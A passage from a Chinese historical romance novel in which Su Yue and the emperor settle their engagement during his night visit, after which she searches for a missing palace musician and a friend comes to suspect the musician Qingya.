苏月蹙眉看着他,很生气吗?倒也并不。只是觉得这人一如既往讨嫌,至少等她坐下来再出现,也不会让她受如此大的惊吓。 当然,惊吓完冷静下来,回忆又像潮水一样迎面拍打,让她感觉极度尴尬。缓解尴尬的办法就是故作镇定,把一切都忘了,便没事人般比了比手,“陛下请坐。” 两两对坐,连蜡烛都没点,借着外面的月光,能看见对方黑黢黢的轮廓。 苏月尽量让话题轻松些,随口问了句:“陛下从哪条路来?走的青龙直道吗?” 皇帝说不是,“走你的巷道。”知道她要问锁着门怎么进来,不等她开口,直截了当告诉她,“翻墙。” 苏月半张着嘴,“宫墙那么高,有四个我这么高,你徒手翻过来,我怎么不大信呢?” 他一哂,“谁说徒手?朕随身带了把梯子,再加上好身手,翻过宫墙易如反掌。” 苏月再一次震惊了,果然你有张良计,他有过墙梯。皇帝陛下是懂得变通的,世上没有难以解决的问题,只要放得下身段,一切都可迎刃而解。 但这次他来,不是和她讨论怎么翻墙的,黑暗中他的语调沉冷,“听说今日太后向令尊和令堂提亲了,这件事定下了,是吗?” 苏月脸上发烫,回答得十分沉着体面,“确有其事。家君和家慈觉得有可商谈的余地,已经应下了。太后说先过五礼,再论其他。” 皇帝“哦”了声,“不是娘子亲口应下的?” 苏月不由腹诽,真是哪壶不开提哪壶,自己当时都被太后当面追问了,还有回避的可能吗?他把一切都打探明白了,再来明知故问,完全是为增强自信。自己是个实诚人,做过的事也不抵赖,爽朗地应道:“是我亲口应下的,怎么样吧。” 用最拽的语气,说着最色厉内荏的话,皇帝觉得她简直可爱透了。 “你说你早就将朕当成可以依靠终身的对象,早就心悦朕了,那为什么你从来不曾对朕说过?”黑暗隐藏了他咧开的嘴,和微微湿润的眼眶。有种高兴叫喜极而泣,皇帝觉得自己已经到了边缘,就要忍不住了。 苏月再次迷茫了,回忆一下自己说过的话,迟疑道:“我没说心悦你啊,这是你自己的臆想,还是太后告诉你的?” 他有点苦恼,“你这人,端的是会扫兴。都已经答应亲事了,心悦一下又能怎么样,非弄得这么一清二楚吗?” 苏月感觉自己的脑子转不过弯来了,论理是他家提亲,自己答应,为什么现在有种被倒打一耙的感觉?难道就因为当时他不在场吗? “不是我喜欢一清二楚,我只是觉得一桩归一桩,不能歪曲事实。” 于是他使出了杀手锏,“你亲了朕,这是事实吧?你还摸了朕,这也是事实吧?” 苏月张口结舌,无法反驳。 正在搜肠刮肚想招数的时候,忽然见那团黑影朝她袭来。在她还没反应过来时,飞快在她唇上亲了一下,然后羞涩地告诉她:“朕也心悦你,其实你不是单相思,不要不好意思了。” 第 58 章 这个不要脸的人, 居然趁她不备,做出这种事来! 苏月气得直咬牙,一把捂住了嘴, 声音从指缝中传出来,“你怎么又亲我!” 对面的人很无辜,“什么叫又亲你?上回是你亲的朕, 辜娘子。这回朕为了安慰你,让你不要太过羞臊, 才回亲了你一下, 你可不要不知足。” 话虽这样说, 黑暗中还是红了脸。 他们这算确定关系了吧?亲来亲去, 还有任何理由否认吗?他到这时才敢相信一切都是真的,中晌太后派人过来通禀,说辜家答应求婚了,他一时愣在那里,简直怀疑自己听错了。 辜家夫妇奉召入掖庭, 本以为只是太后善意的会面,打好关系而已, 不想老母亲竟是如此雷厉风行的人, 头一次见面, 就快刀斩乱麻敲定了此事。是上天眷顾他吧, 本来还在为昨日马车里的种种感到难堪, 结果转过天来, 他与她变成名正言顺的了。那么被她亲也好,被她摸也罢,都是理所当然的,就算是即刻献身, 他都不带半点犹豫的。 同理作为婚姻的另一方,她也一定觉得自己是属于他的,些微的亲密举动,是促进感情的良方。 皇帝自我开解过后,很快把她的不满归为了害羞。女郎脸皮薄,娇嗔抱怨两句太正常了,并且他也很为自己的机灵感到骄傲,居然能在光线如此不明朗的情况下,精准找到她的嘴唇,就像倦鸟归巢。 反正那唇瓣和他记忆里的一样,又香又软,隐隐还带着点甜。美中不足在于没敢过多逗留,害怕她又捶他。毕竟婚事只是口头上说定,大礼没过,婚书也没交换,他纵然再爱不释手,也不能太放肆。 不过回味再三,心花怒放,他悄悄摸了摸自己的嘴唇,觉得心都要蹦出来了。 朦胧中看见她站起身,似乎是要点灯吧!他有点不自在,出言阻止,“暗处呆得太久,适应不得太亮的光。你我就这样说话,有夜色掩护,朕的胆子才能大些。” 苏月起先还有点恼他,听他这么坦率,不高兴的劲儿就消散了。原来他也需要夜色壮胆,刚好她也一样。 她支吾了下,“内敬坊的排演刚结束,官舍内外有人来往……我不是想点灯,是想关门。” 早说啊,话音方落,他飞快起身关上门,又很快坐回来,沉声道:“好了,这下你可以对朕为所欲为了。” 这人自以为是的毛病,这辈子怕是治不好了。苏月早就习惯了,竟然不觉得有什么失当。 遥想当初,他在徽猷殿里犯病,她受命去照看他,当时为表清白,开窗不算还开门。现在呢,短短三个月罢了,说话得关起门来,不单是因为他夜访被人发现了不好,更是为了防止他做出刚才那样的蠢事,不小心落了别人的眼。 其实太后说得没错,人的心思会随际遇改变。她还记得前几天自己打定了主意,要做此人得不到的女郎,谁知才过了几天,亲事都定下了。 定下了,倒也不后悔,人要懂得审时度势么。人家非让你做皇后,你以死相争,也太不知好歹了。 只是说好的先过五礼,他是否也没有异议呢?丑话说在前头,比现上花轿,现扎耳朵眼儿好。 于是问他,“婚期的事,太后与你说了吗?我没想立时成亲,我还有许多想法没有实行,陛下等得吗?” 他倒是很开明,“朕已经等了四年,不在乎多等一阵子。你先去做你想做的事,朕与太后也说过,让你先做自己,再来做朕的皇后。” 他这么大度,苏月反倒愧疚了,“我是不是有点过分了?陛下对我,好像太宽容了。” 皇帝听得发笑,“朕这人,难得宽容,把仅有的宽容留给枕边人,不是理所应当的吗?” 张嘴就是枕边人,这近乎套得令人费解。苏月别扭地提醒他,“在我面前胡言乱语就算了,出去不能同别人说起。” 皇帝问为什么,“难道朕向着谁,需要偷偷摸摸吗?” 他是根蜡烛,不点不亮。苏月道:“还没成亲,不能说成亲后才能说的话。君子当发乎情止乎礼,你就算再爱慕我,也不能明目张胆把偏爱做在脸上,您可是大梁万人之上的皇帝陛下啊。” 啊,爱慕她。他这才想起来,两个人每每为究竟是谁爱慕谁,而绞尽脑汁构陷对方。但到了此刻,他忽然觉得所谓的面子已经不太重要了。被拒婚后仍旧放不下的从来都是他,就算他多次死不承认,事实也如秃子头上的虱子,一目了然啊。 不挣扎了,他认命地说:“言之有理,朕爱慕你。” 这天上一句地上一句的表白,让苏月有点回不过神来。震惊之后却有一种尘埃落定的踏实感,她何尝不知道他喜欢自己,不过从来不肯承认,他就是根阴沉木做成的棒槌。 无人得见处,她的唇角悄悄仰了起来,“那说定了哟,婚期再议。” 他“嗯”了声,很有男人一语定乾坤的魄力。 毕竟来前,太后已经同他谈过这事了,太后语重心长说:“阿娘上了岁数,不知还能再活几年。有生之年娘想看见你们拜堂成亲,开枝散叶,珩儿,你能答应为娘吗?” 他素来孝顺,安抚太后,“您无病无灾,定能长命百岁的。太医院近来新募了几名好太医,明日让他们轮流为阿娘诊脉。” 太后有点苦恼,“我说的是这个吗?我在说你们成亲的事,你同我扯什么太医啊?” 他当然知道母亲的意思,掖着两手,正色道:“前阵子朝中也有臣僚催促儿早立皇后,朕许诺过他们,三十岁前定会生儿育女的。阿娘莫急,儿今年二十七,还有三年……” 把太后气得头昏眼花,原来立春之约是敷衍老母亲的,他和那些大臣另有章程,一下子又延后三年,找谁说理去? 太后说:“权珩,我没你这样的儿子,但你爹是你亲爹。下回上太庙祭拜他,多磕两个头,就说你继承了他的衣钵,已经青出于蓝而胜于蓝了。” 太后可说气得够呛,本来打算让他和苏月好生商量,必要的时候再使些小手段的,结果他半点也不着急,甚至又给自己放宽了年限。 所以必须给他下最后通牒,“明年惊蛰之前,你须得给我一个说法。我已经多宽限了你一个月,你若是再拖延,这掖庭我也不住了,搬到太庙去,日日哭你那死去的阿爹。” 皇帝只得赔笑答应,先敷衍过当下,后面的事可以再作打算。通常来说母亲都是极好打商量的,且太后也不是那么守旧的人,就算自己不擅哄骗女郎的顽疾随了高祖,永不言败的精神,不也深得太后的真传吗。 总之很欢喜,订婚之外无大事,再也不必担心苏月两眼炯炯,一只看裴忌,一只看权弈了。 “太后定好了日子,本月二十八过大礼,到时候朕亲自去。”背光而坐的皇帝,回忆起往事很有些唏嘘,“还记得你向朕讨章子那回吗?朕那时候想,干脆把凤印提前给你算了,何必弯弯绕绕兜圈子。” 这就是心里喜欢一个人,想把所有好东西都给她。那凤印其实不是皇后至宝,而是他确认身份,用来托付自己的重器啊。 即将名花有主的皇帝,这回说话好像长进些了,至少没再捅人肺管子。苏月聊感欣慰,下半晌忙碌致使身心俱疲,原本回到官舍就睡的计划被他打乱了,也没让她窝火生气。 她甚至和颜悦色地同他打趣,摸摸自己的脸道:“怪我过分美丽,就算再怎么推诿,也还是让人念念不忘,所以陛下才对我格外好。” 结果他自作聪明地追加了一句,“朕对你好,不是因为你长得美,而是敝帚自珍啊。” 听得苏月一口气上不来,这个人,果真是没救了。 “我这样的女郎,哪里‘敝’了?你再惹我不高兴……”她气咻咻说,“太后说要我当儿媳,可没说一定当大儿媳。” “什么?”他惊诧,“你果然还惦记二郎!” 真是个人身牛头的家伙,苏月不想给他好脸色了,寒声道:“陛下告退吧,我要睡觉了。” 他蹙眉道:“没我的觉你也睡不明白,别睡了,再说会儿话吧。” “说你打算怎么气死我吗?”她恫吓道,“二十八才下定,还有好几日光景,我有余地反悔,你知道吧?” “别别……”他立刻服了软,放低姿态说,“朕不想再节外生枝了,朕年纪不小了,想找个好归宿,余生有人心疼。早前朝中臣僚催婚,朕说三十岁前定会生子,总不能当真等到那时候。你知道外面成婚早的,三十岁孙子都会爬了,朕还孑然一身,太不像话了。毕竟大梁江山要传承,拼死拼活打下的天下拱手让人,你舍得?” 这番话真诚中透着反思,又好像没到病入膏肓的阶段。反正余生还有生不完的气,这次就往后顺延吧。 探出手摸摸索索,她问他:“你渴不渴?我给你倒水喝。” 外面的月光透亮,穿过窗纸照进来,照在她青白的手上。那手纤柔匀称,正要从茶盘中取杯子,中途被他抓住了。他什么话都没说,握紧她不放,两条臂膀横亘在桌面上,像断了的鹊桥,重又接上了。 苏月心头砰砰直跳,彼此间的关系突飞猛进,好像昨天还在互相嫌弃,怎么今天就非卿不可了。再细思量,又有会心的微笑,自从他们头一回相见,他把自己的斗篷送给了她,就注定这场相逢不平常。嫌弃归嫌弃,嫌弃中夹带着一点喜欢,感情才不显得单调。 “你的官舍,好像有些冷清。”皇帝自觉时机成熟了,提出了非分的要求,“要不要搬到徽猷殿去住?不是和朕住一起,你住东边,朕住西边。天要凉了,一个人清锅冷灶多寂寥,夜里没人说话,还缺人伺候。朕已经命国用给你物色好了三位长御,给她们取了简单好记的新名字,你不想去见见吗?” 心思又细腻上了,不过居心有点叵测,苏月说不好,“梨园里事多,万一半夜找我找不见,麻烦得很。再说婚期都没定,我是不会上当的,陛下就别白费心机了。”说着要抽手,抽了两下没成功,只得耐住性子又问,“那些长御是哪儿找来的呀?我认得吗?” 皇帝知道她担心什么,“不是好望山的女侍,你不喜欢的那些女郎都给分派到了别处,想回去的也都放回去了。这三人是宫里有些资历的女官,朕让国用潜心考验了月余,不管是人品才学,还是办事的手段,都是宫人中的佼佼者,服侍你正合适。” 苏月抬眼看了看对面朦胧的脸庞,“月余前就开始物色长御了,陛下真是势在必得啊。” 皇帝笑了笑,“谁说不是呢,像朕这么体贴入微的郎子,上哪里去找?朕敢断言,就算任你挑选,你也挑不出第二个来。朕年富力强,有个不错的好身板,哪怕忙到半夜也不忘抽空想你,足见朕用心良苦。” 说起好身板,就想起他上回病倒的样子。苏月问:“那个旧伤,后来可曾复发过?” 皇帝说没有,“淮州踅摸的土方子很管用,朕觉得病灶边缘的僵块慢慢缩小了,摁上去也不怎么痛了……你要看么?朕脱了衣裳给你看。” 他说着真要宽衣解带,吓得苏月忙揪住了他的衣襟,“不用不用,没再发作就好。” 她似乎很尴尬,皇帝低头道:“有什么不好意思的,以前看过,以后也会常看。” 苏月又忍不住想打他了,“虽然婚事议准了,但我还不曾嫁给你呢,你再这么不见外,下回可别跟我回家了。” 这个后果很严重,不去岳丈家,郎子当着还有什么意思! 他只得悻悻掖好了交领,还不忘叮嘱她一句:“若是哪天想关心朕了,不要讳言,只管同朕说,朕随时可以放你参观。” 真是大方,大方得让人无话可说,苏月叹息着拱手,“多谢陛下。” 皇帝总能从细微处发现问题,和蔼地说:“往后别叫陛下了,显得多生分,朕还是喜欢家常一些。” 家常的称呼?要多家常?苏月问:“叫名字么?权珩?权大?还是至正?” 他说:“朕的名字不能随便叫,连名带姓,让朕想起那个缺德的武都侯。小字也不能叫,你又不是我阿爹。还有权大……这是什么称呼,难道朕是杀猪的吗?” 所以看见了吧,这人有多麻烦,什么都不能叫,那到底该怎么称呼他? “你说吧。”苏月如今连“您”都不愿意说了,心下觉得权大最顺口。 那人支支吾吾,终于仗着她看不清他的脸,提出一个骇人听闻的建议,“叫爱郎吧。” 苏月险些崴倒,晚间吃的饭几乎都要吐出来了,惊悚地说不,“我死都不会这么叫的,你不想让我活命了,我知道,你想害死我。” 他很委屈,“好些人都是这么称呼的,为什么到你这里就不行?” 苏月说我绝不,“我还要脸,还要在这世上活下去,你敢这么坑害我,我与你不共戴天!” 罢了罢了,都不共戴天,还怎么生儿育女。 他是个善于退让的人,叹息道:“听你的意思吧,你觉得怎么称呼才显得既庄重,又不疏远?” 苏月说:“就唤大郎,让我想起四年前被我阿爹婉拒的那位郎君,骑在马上威风凛凛,却连媳妇都讨不上。” 还好没点灯,看不见对面那人阴沉的脸,只听他抱怨:“辜苏月,朕发现你当真很猖狂,老提以前的事做什么,朕现在当皇帝了。” “好好好。”她安抚不迭,“好汉不提当年勇,不说了。那就叫大郎吧,很是庄重,也很亲切。” 皇帝嘟嘟囔囔,“太后才这么唤朕……” “陛下。”她好心地提供了参考。 果然他很快就作出了选择,“还是叫大郎吧。” 苏月转过身,翘起兰花指一指窗外,“更深露重啊大郎,回宫去吧,带上你的梯子。” 他愈发迟迟了,以前分别就有说不出的留恋,这回要定亲了,更加留恋得理直气壮。 “苏月……”他叫得很缠绵,“朕再坐一会儿。” 苏月浑身鸡皮疙瘩乱窜,“耽搁得太晚有损龙体康健,回去吧,批一会儿奏疏,再让国用给你煮碗参汤。” 几乎是连拖带骗地,把他弄到了门前,还不敢立时开门,怕官舍外有人经过,遇见了不好看。 她探出脑袋,左右观望,确定没人了才把他拽出来。他甚为不解,“你贼头贼脑干什么,朕有那么见不得人吗?” 她回头看了他一眼,“半夜三更从房里出来个男子,凭你是谁都不成体统。况且这里是西隔城,内敬坊的所在,里外全是女郎。”上下打量了他一通,“自重!” 皇帝没办法,被她押送到了小门前,两手扒住门扉问:“你何时来看朕?朕这两日有些忙,朝中有议案,西南又有地动,恐怕没有时间过来。” 苏月想了想道:“我这两日也忙,等手上的事一放下,立时就去瞧你。好了,别站在这里了,快回去吧,我要锁门了。” 他无可奈何,惆怅地叹了口气,脑子一抽就是一个想法,“那朕再亲亲你吧。” 结果显而易见,苏月推了他一把,在他恋恋不舍的凝视下,反手锁上了门。 耳朵贴在门板上听,想看他有没有离开,却是半天没听见声响,她知道,他还站在那里。 “走吧。”她又催促,“你不走,我可走了。” 门外的人徘徊了片刻,这才慢慢离开。苏月听着脚步声去远,忽然觉得有点好笑,英明神武万人敬仰的皇帝陛下,想娶亲的时候也和常人一样粘缠。 人送走了,她终于可以洗洗睡了。今天太忙碌,骨头要散架,所以一挨着床板就睡着了。 等到第二日,又要预备霜降那日的乐工选拔,呈报上来的名册里,苏云的名字赫然在目。与她一起的还有另外三十八人,这是梨园设立以来,头一回有乐师主动想入园。可见梨园的名声终于变得正向,再也不会有人将它与前朝的教坊相提并论了。 大家聚在一起商讨考核的曲目,苏月转头问园内宰:“朱娘子回来了吗?” 内宰说没有,“通行的令牌还没还回来,护送的人也不曾见到。” 苏月便没放在心上,想必青崖病得严重,颜在暂且撂不下吧。 可是等到将要傍晚,还是一点消息也没有,她忽然有些不安了。心里一直悬着,也集中不了精神再忙别的,便让人套好马车,急急赶往了乐府。 第 59 章 乐府与梨园虽然同属太常寺, 但因为职能不同,官衙所在的位置也相隔较远。 沿着护城河一路往南,经过道道官署, 须得走上两炷香时间,才能抵达协律坊。苏月之前没有来过这里,到了乐府大门前, 放眼看,占地比圆璧城小了一大半。还是因为乐府以谱曲为主, 各色乐师并不作表演之用, 都是专用作试曲的。从上到下人数总共大约只有百来人, 但府衙的规格很高, 光是门楼排场,就比梨园要高出许多。 当然乐府的规矩也森严,门上有专人把守,见了来人便拦阻,要名刺, 让自报家门。 苏月拱了拱手,“梨园辜苏月, 前来拜会乐监嬴大人。” 梨园使辜大娘子的名气, 如今还有人不知道吗?守门的一听, 棺材板似的脸立刻绽开了热情的笑, 点头哈腰招呼, “原来是大娘子来了, 恕卑下无礼了,实在是规矩如山,请大娘子见谅。”边说边双手奉还了名牌,“大娘子快请进, 卑下立刻叫人给大娘子引路。” 苏月道了谢,正要打探有没有人来探望过青崖,这守门的一嗓子吼起来:“虾儿!虾儿!”吓了苏月一跳。 可能意识到喊得太大声了,守门的尴尬一笑,“地方大,引人总是跑得见不着影子,只能靠喊。” 苏月说不碍的,一面又问:“我们梨园可曾来过一位朱娘子?现在人还在吗?” 守门的回想了下,摇头道:“梨园这两日并未有人来访,也没有姓朱的娘子。”说罢又一笑,“卑下只守白日的班,天擦黑了就换人,兴许是卑下没遇上吧!” 这时叫虾儿的少年一纵一跳从巷道里跑来,到了跟前叉手行礼。守门的便吩咐:“梨园大娘子来探访乐监,你快领着去吧。” 虾儿应了声,比手引她顺着巷道往北。乐府官员的官舍在东北角的长房,因正是下职的当口,往来的属官不少,纷纷对她侧目不已。 当然其中也有认识她的,比如那天的府乐丞,一见她就揖手,“这个时辰,大娘子怎么来了?可是有什么公务吗?” 苏月说不是,“我来瞧瞧乐监,听说他病了。” 乐丞便上前接应,摆手把虾儿遣退了,自己亲自引她上了游廊,边走边道:“乐监就住在前头第一间房,今日刚看过大夫,病症据说好多了。” 青崖的房门虚掩着,轻轻一推便开了。苏月乘着落日余晖往内看,房里的布置简单素净,一目了然。青崖披着一件罩衣,正强撑身子坐在桌前倒茶,那张精美绝伦的侧脸,看上去苍白而清瘦。 他听见动静,转头看过来,一见是她,十分意外,忙放下手里的茶壶,歪歪斜斜站起身,“阿姐怎么来了?” 这屋子并不大,屋里有几个人一眼便看得见,除了青崖之外别无他人。苏月有了不好的预感,匆匆道:“听说你病了,我们都很担心。我昨日没抽出空,颜在先来瞧你了,她人呢?怎么没见她?” 青崖一头雾水,“什么时候来的?我并未见过她啊。” 苏月心头顿时大跳起来,“昨日这个时候离开梨园,说好了来看你的,我等她到傍晚,不见她回去才来找她的。你当真没有见过她?她真的不曾来过?” 青崖说没有,面色更加苍白了,颤声说:“我这几日身体是不好,但却没有糊涂,有没有人来过我一清二楚。颜在阿姐没有来过,若不信就问乐府的门人。这里没有后门,进出全从前头走,她要是来了,门房和引路的都会知道,” 这下真是慌了手脚,从昨天到现在,整整十二个时辰,颜在就这么莫名其妙不见了,连带那个赶车护送的仆妇也消失了。 苏月心知不妙,定是出事了,青崖比她更惶恐,撑着病体往外走,用尽力气唤虾儿,“你快去问问昨日当值的人,有没有见过梨园来的小娘子。” 虾儿说是,撒腿跑了出去,不多会儿就折返回话,十分肯定地说没有,“前日到现在,没见梨园来过人。” 苏月心急如焚,转身边走边道,“我去召集人手,把上都翻个个儿也要找到她。” 青崖跌跌撞撞跟上来,“我与阿姐一同去。” 他一副病歪歪的样子,连站都站不稳,更别说找人了。 苏月只得先宽慰他,“你留在这里,把病养好,我得了消息就差人告诉你。你放心,我一定想办法找到她,实在不行就报官,各坊院都有武侯铺,一处处问过去,总会有人见过她。” 青崖摇摇欲坠,脚下踉跄了几步,苏月忙一把搀扶住他,把他交给了乐丞,自己才疾步往乐府大门上去了。 颜在丢了,这个消息在梨园炸开了锅,乐工不能出去寻找,只能困守在园内死等。苏月去寻了缇骑,请副尉想办法张罗人手,甚至连皇帝的司隶校尉都动用了,可找了一夜,一点消息也没有。 苏月这一夜哪里睡得着,脑子里不知浮现出多少不好的念头来。颜在是和她一起入梨园的,在上都又没有亲故,更是鲜少与外人打交道。她生来腼腆,胆子小,只有梨园一个容身之处,能去哪里呢。最怕最怕就是遇见了歹人,真要是这样,那可如何是好! 苏月急成了热锅上的蚂蚁,时间一点点流逝,始终毫无进展。照理说缇骑全城出动,司隶府也在排查,就算她化成了一根针,落进了砖缝里,也定能把她找出来的。但就是那么奇怪,居然没有一个人见过她,仿佛她是一滴水,就这么凭空蒸发了。 苏月已经不知道该怎么办了,她在梨园等到次日下午,实在等不及了,又往乾阳殿去了一趟。可惜皇帝正与尚书省议政,要派遣使节出使外邦,殿里说得热火朝天,她只好在西边配殿里等着。 坐不住,便在夹角的游廊上游走,来来回回不知走了多少遍。后来没了力气,在台阶上坐下来,脑子里乱糟糟地,满心装的都是颜在。 待回过神来时,才发现一个身影站在她身后,夕阳一照,把影子拉得老长。他说:“你别着急,只要人还在上都,就一定能找到。若是挖地三尺还是没有消息,那就只有两种可能,一是人离开上都了,二是……” 他本来是想客观与她阐述事实的,可话还没说完,就迎来她楚楚的目光,他只好识趣地转变了话风,“……二是人被藏起来了,说不定正好吃好喝地受招待呢。” 这样苍白的安慰,起不到任何效果。苏月知道他没有说出口的话非常不讨喜,但若是越久没找到人,那么这个可能性实则越大。 她抱着膝头把脸埋进了肘弯里,带着哭腔说:“都怪我,要是那天我陪她一起去就好了。多个人在身边,出了事也好有商量。” 皇帝觉得她不该把责任揽到自己身上,“你又不会未卜先知,她也不是孩子,人人有事要忙,谁也不能寸步不离陪着谁。” 话虽如此,苏月还是很难过,“她自小父亲就过世了,是她母亲独自把她抚养长大的。原本被征入梨园,已经很让她母亲不舍了,要是再有个三长两短……” 皇帝叹了口气,“朕吩咐下去,让京师周围的驻军抽调出一部分人手,把上都之外方圆五十里也一并搜查了,这样行不行?” 她终于抬起头来,捺了下唇角说:“多谢你,不因她只是个小小的乐工,便放任不管。” 皇帝垂眼瞥了瞥她,“你应当感激你自己,在朕面前这么有脸面,又是缇骑又是驻军的,为你寻找朋友。” 大帽子扣上来,就得警觉了。苏月开始意识到一个问题,那十枚铜钱集满,可能就是她放弃现在的一切,老老实实回归掖庭的时候了。于是戒备地问他:“不要钱吧?我可是空着手来的。” 结果换来人家一声嗤笑,“事有轻重缓急,朕也不是只谈钱,不讲人情的人。” 有他亲自下令扩大搜寻的范围,希望便又增加了好几成。也许再等一等,马上就会有消息了。 苏月垂头丧气回去了,又等了两日,还是毫无进展。颜在已经失踪四天五夜了,时候拖延得越长,希望越渺茫。有时候她甚至感到恐惧,害怕有不好的消息传来,害怕颜在遇到了不测。 姑苏的同乡们坐在一起,大家都很迷惘,各种可能都猜了一遍,最后楚容蹦出个念头来,“那个曾经看上颜在的左翊卫将军,可曾好好盘查过?” 正满心愁绪的众人闻言,顿时眼前一亮。云罗说对,“怎么把那人给忘了!那个左翊卫将军不是前朝归降的旧臣吗,前朝的权贵有多丧心病狂,我们是知道的。既然看上了颜在,必定没有那么容易放过她。高门大户守卫森严,只要他们想藏人,外面就算找翻了天也别想找到,何不让人去他府上搜查,说不定就是他把颜在扣下了。” 但梅引却不大认同,“一个左翊卫将军,当真有这么大的胆子吗?如今的梨园和以前不同了,朝廷有明文规定,狎亵乐工者轻则下狱,重则杀头。为了满足私欲,连命和前途都不要了?” 可是哪还有别的办法,该动用的人动用了,该想的辙也都想遍了,只差把上都掀翻了。 苏月沉吟片刻道:“揣测虽没什么依据,但死马当成活马医吧。万一颜在当真落进了他手里,去得晚了,就没有活命的机会了。” 所以想到便去试一试,苏月去龙光门上找了副尉,把自己的想法对他说了。 “事关重大,我知道不能胡乱搜查官员宅邸,但我实在没有别的路可走了,只能请副尉替我想想办法。”她说着,下了决心,“事后左翊卫将军必定弹劾我,我也做好了受罚的准备,一切后果由我承担,请副尉放心前往。” 有她这句话,副尉的胆子如牛一样大,梆梆拍了拍胸前的护心甲,“交给卑职,卑职这就去点兵。其实大娘子不用担心,量那个毛脸贼不敢声张。大娘子手上若有把柄,只管弹压他,听说这阵子朝廷正暗查那些渎职的旧朝武将,他未必没听见风声。多一事不如少一事,他不会在这个当口出头冒尖的,除非他想在陛下面前露露脸。” 这番分析,其实在苏月听来并不一定靠谱,但她急于找到颜在,已经顾不上那许多了。 所以就如副尉说的,即刻点兵,很快就赶到了左翊卫将军的府邸。事先也查探过,他在上都没有别业,要藏人定然只在此处。苏月便坐在外面的马车里静待消息,一群如狼似虎的缇骑冲进去,把将军府的女眷吓得吱哇乱叫,吵成一团。 有人在大喊:“了不得,抄家了!主君……主君……” 缇骑是不论死活的,领了命只管向着目标进发。将军府虽然也有护院,但缇骑是皇帝亲军,没有人敢阻拦。他们查找了府中每一间屋子,连路过的狗都不免挨一脚。 左翊卫将军无法呵止他们的恶行,铁青着脸出来见苏月。苏月是第一次与他会面,难怪副尉说他是毛脸贼,他的下半张脸,几乎被青色的胡髭覆盖了。到她面前怒气冲冲大骂:“你是个什么东西,竟敢带人来搜查我的府邸!老子横扫襄阳,迎接陛下大军的时候,你还在姑苏染指甲呢。如今靠着陛下宠爱,犯到老子头上来,真当老子好欺负吗?” 苏月从车舆内走了出来,冷声道:“将军,你是谁的老子?梨园中有乐工无故失踪,原本就在满城搜寻。将军和那个失踪的乐工曾有渊源,我若上报大都府,一样是要传将军问话的。我顾及将军颜面暗中查办,你却不领情,要是早知将军如此不识好歹,我就不费这番苦心了。” 左翊卫将军被她说得发懵,但很快便回过神来,“你不必唬我,这上都的官宦门户,哪一家设宴没有传过梨园乐工?这叫什么有渊源!仅凭这个就带人来我家搜查,请问别家也是如此吗?” 苏月道:“别家并不如此,我只搜将军府。” 左翊卫将军顿时暴跳如雷,“姓辜的,你可别欺人太甚。人家怕你,巴结你,老子却从未将你放在眼里。” 苏月并不怵他,犀利的眼风如刀,恨不能将他凌迟了,“走失的乐工姓朱,姑苏人。四个月前将军曾下帖邀她一人来府上弹奏,太乐署乐工青崖怕她只身前往多有不便,自己顶替她赴约,夜半子时才回梨园。官员府邸传召乐工是寻常,但发生了什么,也是有迹可循的,还不够资格劳烦将军吗?我若是你,反倒应该大开方便之门,迎接缇骑随意搜查。若搜出人,认罪伏法,若搜不出人,正好自证清白。而不是像你这样口出狂言,张口闭口要做我的老子。” 这下左翊卫将军无话可说了,毕竟他对青崖所做的一切,翻起旧账来也不简单。事情闹得太大,对自己定无半点好处。 于是便立在一旁,冷着脸任凭缇骑前院后院翻找了一遍,可惜缇骑搜查半天一无所获,空着两手出来了。 副尉向苏月复命,“回大娘子,都找遍了,不曾找到。” 苏月再次失望了,颜在就像一滴水,彻底从这世上消失了。她再也想不到该去哪里找她,接下来好像除了大海捞针,真的再没有别的办法了。 左翊卫将军脸上露出嘲讽的笑,“可要搜仔细了,别有遗漏之处。” 苏月转过视线一扫他,“若有遗漏,下次再来。”然后在他愤恨的注视下重又登上了马车。 回去的途中才想起来,自己忙了这几日,倒忘了去问问青崖那头有没有什么消息,便让赶车的把她送到了乐府。 再见青崖,他大病初愈,气息还有些弱,一见到她就连咳带喘地追问消息。 苏月告诉他一无所获,他像被抽掉了魂魄似的,垂着袖子喃喃自语,“能去哪里……能去哪里呢……她与人无仇无怨,应当不会有人存心和她过不去的。都怪我,生什么病!若不是为了来看我,她也不会丢了。” 苏月叹了口气,“你不要因此自责,这不是你的错。” 青崖眼中隐隐有泪光,惨然对她说:“阿姐,我心悦她,你是知道的。” 苏月微怔了下,沉默着点点头。 “会不会……回姑苏了?”青崖犹豫地说,“找遍大街小巷都找不到她,也许她已经离开上都了。” 苏月却觉得没有这种可能,“颜在不是冒失的人,乐工出逃,会罪及全家的。她家里还有母亲和阿兄,为了家人,绝不会做这种事。” 青崖背靠着抱柱,低下头,眼泪顺着鼻尖滴落,“真的一点办法都没有了么,找不回来了么……” 苏月也不知该怎么安慰他,只能让他稍安勿躁,说再想想办法。 回去的路上,心里堵得很,也不想乘车了,打算自己一个人走上一程。 从乐府到梨园,中间隔着一个北市,她顺着街道慢慢前行,试图从颜在经过的路径,找出她失踪的原因。 四下张望的时候,忽然发现一个熟悉的侧影,仍旧一副爽朗的模样,正笑着和人说话,是许久不见的春潮。恰巧转身,恰巧也看见她,“咦”了声笑道:“这是谁?不是我们的梨园使大人吗!” 久别的老熟人再聚首,快乐可以短暂冲淡心头的阴霾。春潮热络地请她去自己的店铺里坐坐,一进门就忙着招呼伙计,泡上好的香茶来。 两个人在窗前的茶案前坐定,苏月打量了一圈,店里摆着各色染料和布匹,还有没有织成的纻麻,看来她果真照着自己的计划,一步步走得很稳当。 春潮大手一挥,“你看,我想开的铺子开起来了,后面染房所用的人手,好几个都是早前从梨园病退的。”一面又笑着打趣,“不过咱们姐妹中,还数你顶有出息。士别三日当刮目相看,这一错眼,梨园这盘棋都被你下活了。” 说罢又来打听,问园里的故人好不好,颜在好不好。提起颜在,苏月就揪心,把前后经过都同她说了一遍,撑住脸道:“只差一寸寸翻找了,不知她到底在哪里,现在安不安全。” 春潮听她细说,半晌都没有开口,听到最后方迟迟看了她一眼,“到处都找过了,该怀疑的人也盘查了,但是还有一人,你有没有想过仔细摸排他的行踪?” 苏月迷茫了,“你说的是谁?” 春潮说:“青崖。” 第 60 章 “青崖?”苏月觉得不可思议, “他哪有什么可疑之处,我从来没有怀疑过他。” 春潮低头给她添上一杯茶,边斟边道:“最不可疑的人, 恰恰是最值得怀疑的。你想,颜在那样乖顺的小女郎,从来不与人结仇怨, 梨园到乐府通共不过两炷香时间,什么人能掐着这段时间掳走她?从筹谋到实行, 再到藏匿, 是临时起意能办成的吗?” 话虽有道理, 但苏月实在想不明白, 